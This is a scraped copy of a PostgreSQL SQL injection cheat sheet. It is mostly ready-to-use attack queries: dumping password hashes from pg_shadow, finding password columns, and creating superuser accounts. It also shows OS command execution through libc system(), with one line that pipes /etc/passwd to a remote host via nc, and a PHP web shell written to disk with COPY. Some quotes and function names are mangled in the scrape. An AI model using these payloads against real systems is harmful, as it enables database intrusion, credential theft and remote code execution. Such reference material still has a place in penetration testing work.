PostgreSQL Sqli Cheat Sheet

images - PostgreSQL Sqli Cheat Sheet

VersionSELECT version()
CommentsSELECT 1; –commentSELECT /*comment*/1;
Current UserSELECT user;SELECT current_user;SELECT session_user;SELECT usename FROM pg_user;SELECT getpgusername();
List UsersSELECT usename FROM pg_user
List Password HashesSELECT usename, passwd FROM pg_shadow — priv
Password CrackerMDCrack can crack PostgreSQL’s MD5-based passwords.
List PrivilegesSELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA AccountsSELECT usename FROM pg_user WHERE usesuper IS TRUE
Current DatabaseSELECT current_database()
List DatabasesSELECT datname FROM pg_database
List ColumnsSELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
List TablesSELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column NameIf you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
Select Nth RowSELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth CharSELECT substr(‘abcd’, 3, 1); — returns c
Bitwise ANDSELECT 6 & 2; — returns 2SELECT 6 & 1; –returns 0
ASCII Value -> CharSELECT chr(65);
Char -> ASCII ValueSELECT ascii(‘A’);
CastingSELECT CAST(1 as varchar);SELECT CAST(‘1’ as int);
String ConcatenationSELECT ‘A’ || ‘B’; — returns AB
If StatementIF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead.
Case StatementSELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
Avoiding QuotesSELECT CHR(65)||CHR(66); — returns AB
Time DelaySELECT pg_sleep(10); — postgres 8.2+ onlyCREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6’, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here .
Make DNS RequestsGenerally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb',
  'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.

Command ExecutionCREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6’, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080’); — priv, commands run as postgres/pgsql OS-level user
Local File AccessCREATE TABLE mydata(t text);COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);

INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);

COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try.

— priv user can also read/write files by mapping libc functions

Hostname, IP AddressSELECT inet_server_addr(); — returns db server IP address (or null if using local connection)SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
Create UsersCREATE USER test1 PASSWORD ‘pass1’; — privCREATE USER test1 PASSWORD ‘pass1’ CREATEUSER; — priv, grant some privs at the same time
Drop UsersDROP USER test1; — priv
Make User DBAALTER USER test1 CREATEUSER CREATEDB; — priv
Location of DB filesSELECT current_setting(‘data_directory’); — privSELECT current_setting(‘hba_file’); — priv
Default/System Databasestemplate0template1

Add a Comment